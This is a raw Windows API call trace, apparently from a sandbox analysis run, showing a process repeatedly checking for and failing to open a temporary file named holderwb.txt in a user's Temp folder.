	[0099.541] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.541] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.541] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.542] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.542] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.542] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.542] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.542] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.542] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.542] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.543] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.543] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.543] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.544] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.544] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.544] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.544] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.545] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.545] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.545] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.545] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.545] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.545] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.545] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.546] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.546] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.546] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.546] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.546] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.547] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.547] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.547] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.547] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.548] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.548] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.548] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.548] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.548] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.549] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.549] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.549] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.549] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.549] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.549] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.549] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.550] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.550] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.550] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.550] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.550] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.550] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.550] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.551] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.551] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.551] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.551] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.551] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.552] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.552] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.552] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.552] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.553] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.553] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.553] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.553] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.553] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.554] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.554] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.554] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.554] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.554] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.554] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.554] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.555] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.555] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.555] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.555] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
